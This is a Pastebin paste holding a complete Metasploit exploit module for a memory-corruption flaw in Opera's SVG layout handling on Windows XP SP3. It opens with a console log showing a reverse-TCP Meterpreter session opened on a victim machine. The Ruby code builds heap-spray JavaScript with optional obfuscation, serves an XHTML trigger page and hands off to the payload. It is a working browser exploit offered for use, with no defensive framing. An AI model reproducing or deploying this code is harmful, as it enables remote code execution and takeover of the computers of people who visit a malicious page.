API tools faq
paste
Guest User

Untitled

a guest
Oct 11th, 2011
24
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.47 KB | None | 0 0
raw download clone embed print report
  1. Running against Opera v12.00 pre-alpha r1076...
  2. #
  3. #
  4. #
  5. # =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
  6. # + -- --=[ 742 exploits - 378 auxiliary - 83 post
  7. # + -- --=[ 228 payloads - 27 encoders - 8 nops
  8. # =[ svn r13810 updated today (2011.10.06)
  9. #
  10. # msf > use windows/browser/opera_svg_0day
  11. # msf exploit(opera_svg_0day) > set payload windows/meterpreter/reverse_tcp
  12. # payload => windows/meterpreter/reverse_tcp
  13. # msf exploit(opera_svg_0day) > set LHOST 192.168.1.103
  14. # LHOST => 192.168.1.103
  15. # msf exploit(opera_svg_0day) > exploit
  16. # [*] Exploit running as background job.
  17. # msf exploit(opera_svg_0day) >
  18. # [*] Started reverse handler on 192.168.1.103:4444
  19. # [*] Using URL: http://0.0.0.0:8080/dpIDdyCpEoqCa5
  20. # [*] Local IP: http://192.168.1.103:8080/dpIDdyCpEoqCa5
  21. # [*] Server started.
  22. # [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off))
  23. # [*] Sending stage 1 (Spraying the heap)
  24. # [*] Sending stage 2 (Triggering the vulnerability)
  25. # [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off))
  26. # [*] Sending stage (752128 bytes) to 192.168.1.104
  27. # [*] Sending stage 1 (Spraying the heap)
  28. # [*] Meterpreter session 2 opened (192.168.1.103:4444 -> 192.168.1.104:1234) at 2011-10-08 22:32:31 +0200
  29. # Interrupt: use the 'exit' command to quit
  30. # msf exploit(opera_svg_0day) > sessions
  31. #
  32. # Active sessions
  33. # ===============
  34. #
  35. # Id Type Information Connection
  36. # -- ---- ----------- ----------
  37. # 1 meterpreter x86/win32 0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12 192.168.1.103:4444 -> 192.168.1.104:1234
  38. #
  39. # msf exploit(opera_svg_0day) > sessions -i 1
  40. # [*] Starting interaction with 1...
  41. #
  42. # meterpreter > execute -f calc.exe
  43. # Process 1752 created.
  44. # meterpreter > exit
  45. # [*] Shutting down Meterpreter...
  46. #
  47. # [*] Meterpreter session 1 closed. Reason: User exit
  48. # msf exploit(opera_svg_0day) >
  49. #
  50. ################################################################################################################
  51.  
  52. require 'msf/core'
  53.  
  54. class Metasploit3 < Msf::Exploit::Remote
  55.  
  56. Rank = NormalRanking
  57.  
  58. include Msf::Exploit::Remote::HttpServer::HTML
  59.  
  60. def initialize(info = {})
  61.  
  62. super(update_info(info,
  63. 'Name' => 'Opera Browser 10/11/12 (SVG layout) Memory Corruption',
  64. 'Description' => %q{
  65.  
  66. This module exploits a vulnerability in the bad nesting with SVG tags. Successfully exploiting
  67. leads to remote code execution or denial of service condition under Windows XP SP3 (DEP = off).
  68. Best results of reliability using Opera v12.00 pre-alpha r1076 whereas that v11.xx will have less
  69. success (depending of opera.dll version). This module won't work against v10.xx because it was
  70. modified to exploit Opera upper to v11.
  71. Read the lastest references for further details.
  72.  
  73. },
  74. 'License' => MSF_LICENSE,
  75. 'Author' =>
  76. [
  77. 'Jose A. Vazquez'
  78. ],
  79. 'Version' => '$Revision: 0011 $',
  80. 'References' =>
  81. [
  82. ['URL', 'http://www.beyondsecurity.com/ssd.html'],
  83. ['URL', 'http://spa-s3c.blogspot.com/2011/10/spas3c-sv-006opera-browser-101112-0-day.html'], # English
  84. ['URL', 'http://enred20.org/node/27'] # Spanish
  85. ],
  86. 'DefaultOptions' =>
  87. {
  88. 'EXITFUNC' => 'process',
  89. 'HTTP::compression' => 'gzip',
  90. 'HTTP::chunked' => true
  91. },
  92. 'Payload' =>
  93. {
  94. 'Space' => 1000,
  95. 'BadChars' => "\x00",
  96. 'Compat' =>
  97. {
  98. 'ConnectionType' => '-find',
  99. },
  100. 'StackAdjustment' => -3500
  101. },
  102. 'Platform' => 'win',
  103. 'Targets' =>
  104. [
  105.  
  106. # spray of ~ 450 MB.
  107.  
  108. [ 'Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)',
  109. {
  110. 'Method' => 'usual',
  111. 'MaxOffset' => nil,
  112. 'MaxSize' => nil,
  113. 'MaxBlocks' => 900,
  114. 'Ret' => 0x0c0c0c0c
  115. }
  116. ],
  117.  
  118. # Thanks to sinn3r of metasploit.com for this method.
  119.  
  120. [ 'Opera Browser (v11.xx) / Windows XP SP3 (DEP-off)',
  121. {
  122. 'Method' => 'precise-allocation-size',
  123. 'MaxOffset' => 0x800,
  124. 'MaxSize' => 0x80000,
  125. 'MaxBlocks' => 0x500,
  126. 'Ret' => 0x0c0c0c0c
  127. }
  128. ]
  129. ],
  130. 'DisclosureDate' => '0day',
  131. 'DefaultTarget' => 0))
  132.  
  133. #Apply obfuscation by default
  134.  
  135. register_options(
  136. [
  137. OptBool.new('OBFUSCATE', [false, 'JavaScript obfuscation', true])
  138. ], self.class)
  139.  
  140. end
  141.  
  142. def on_request_uri(cli, request)
  143.  
  144. mytarget = target
  145.  
  146. if(request.uri =~ /\.xhtml$/)
  147.  
  148. #Send file for trigger the vulnerability
  149.  
  150.  
  151. html = %Q|
  152. <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svt="http://www.w3.org/2000/svg">
  153. <head>
  154. <meta http-equiv="refresh" content="0;url=" />
  155. </head>
  156. <select1 style = 'padding-bottom: 8711px;background-image: url("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");' >
  157. <svt:svg>
  158. <svt:title style = 'pointer-events: visiblePainted;font: normal small-caps 120%/120% fantasy;' >
  159. <svt:svg>
  160. <svt:font>
  161. <svt:animateMotion>
  162. feFuncR
  163. </svt:animateMotion>
  164. </svt:font>
  165. </svt:svg>
  166. </svt:title>
  167. </svt:svg>
  168. </select1>
  169. </html>
  170. |
  171.  
  172. #Send triggerer
  173.  
  174. print_status("Sending stage 2 (Triggering the vulnerability)")
  175. var_contentype = 'application/xhtml+xml'
  176.  
  177. else
  178.  
  179. #Sending init HTML
  180. print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (Method: #{mytarget['Method']} / Target: #{mytarget.name})")
  181.  
  182. return if ((p = regenerate_payload(cli)) == nil)
  183.  
  184. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
  185.  
  186. addr_word = [mytarget.ret].pack('V').unpack('H*')[0][0,4]
  187. var_timer_trigger = (rand(3) + 2) * 1000
  188. var_file_trigger = rand_text_alpha(rand(30)+2)
  189.  
  190. #Build the exploit
  191.  
  192. var_url = ((datastore['SSL']) ? "https://" : "http://")
  193. var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
  194. var_url << ":" + datastore['SRVPORT']
  195. var_url << get_resource
  196.  
  197. #Choose the heap spray method
  198.  
  199. if(mytarget['Method'] == 'usual')
  200.  
  201. spray_js = <<-JS
  202.  
  203. var shell = unescape("#{shellcode}");
  204. var size = shell.length * 2;
  205. var nopsize = 0x100000 - (size + 0x14);
  206. var nopsled = unescape("%u#{addr_word}");
  207.  
  208. while(nopsled.length * 2 < nopsize) {
  209. nopsled += nopsled;
  210. }
  211.  
  212. var blocks = new Array();
  213.  
  214. for (var x = 0; x < #{mytarget['MaxBlocks']}; x++) {
  215. blocks[x] = nopsled + shell;
  216. }
  217.  
  218. function TriggerVuln(){
  219. document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
  220. }
  221.  
  222. JS
  223.  
  224. else
  225.  
  226. #
  227. # Tested on Opera v11.5x but it's not working on Opera v12.00 pre-alpha
  228.  
  229. #
  230. # /*
  231. # * Heap spray for Opera that uses VirtualAlloc
  232. # * Arguments:
  233. # * @blocks - an emtpy array
  234. # * @code - the payload
  235. # * @offset - padding to align the code
  236. # * @chunk_max - max size for each allocation
  237. # * @blocks_max - max blocks
  238. # */
  239. #
  240. #
  241.  
  242. spray_js = <<-JS
  243.  
  244. function heap_spray(blocks, code, offset, chunk_max, blocks_max) {
  245. if (chunk_max < 0x7F000) {
  246. throw "This function is meant for size 0x7F000 or higher to trigger VirtualAlloc";
  247. }
  248.  
  249. chunk_max /= 2;
  250.  
  251. var nops = unescape("%u0c0c%u0c0c");
  252. while (nops.length < chunk_max) nops += nops;
  253.  
  254. var offset_chunk = nops.substr(0, offset-code.length);
  255.  
  256. var block = offset_chunk + code + nops.substr(0, chunk_max-offset_chunk.length-code.length);
  257.  
  258. while (block.length % 8 != 0) block += unescape("%u0c");
  259.  
  260. var shellcode = block.substr(0, (chunk_max-0x1c)/2);
  261.  
  262. for (var i=0; i < blocks_max; i++) {
  263. blocks[i] = shellcode + unescape("%u0c0c");
  264. }
  265. }
  266.  
  267. var blocks = new Array();
  268. var code = unescape("#{shellcode}");
  269. heap_spray(blocks, code, #{mytarget['MaxOffset']}, #{mytarget['MaxSize']}, #{mytarget['MaxBlocks']});
  270.  
  271. function TriggerVuln(){
  272. document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
  273. }
  274.  
  275. JS
  276.  
  277. end
  278.  
  279. if datastore['OBFUSCATE'] == true
  280. spray_js = ::Rex::Exploitation::JSObfu.new(spray_js)
  281. spray_js.obfuscate
  282. trigger_sym = spray_js.sym('TriggerVuln')
  283. spray_js = spray_js.to_s + "setTimeout('#{trigger_sym}()',#{var_timer_trigger});"
  284. else
  285. spray_js = spray_js.to_s + "setTimeout('TriggerVuln()',#{var_timer_trigger});"
  286. end
  287.  
  288. html = %Q|
  289. <html>
  290. <head>
  291. <script type="text/javascript">
  292. #{spray_js}
  293. </script>
  294. </head>
  295. <html>
  296. |
  297.  
  298. print_status("Sending stage 1 (Spraying the heap)")
  299. var_contentype = 'text/html'
  300.  
  301. end
  302.  
  303. #Response
  304. send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
  305. #Handle the payload
  306. handler(cli)
  307.  
  308. end
  309.  
  310. end
  311.  
  312.  
  313. # [2011-10-10]
  314.  
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!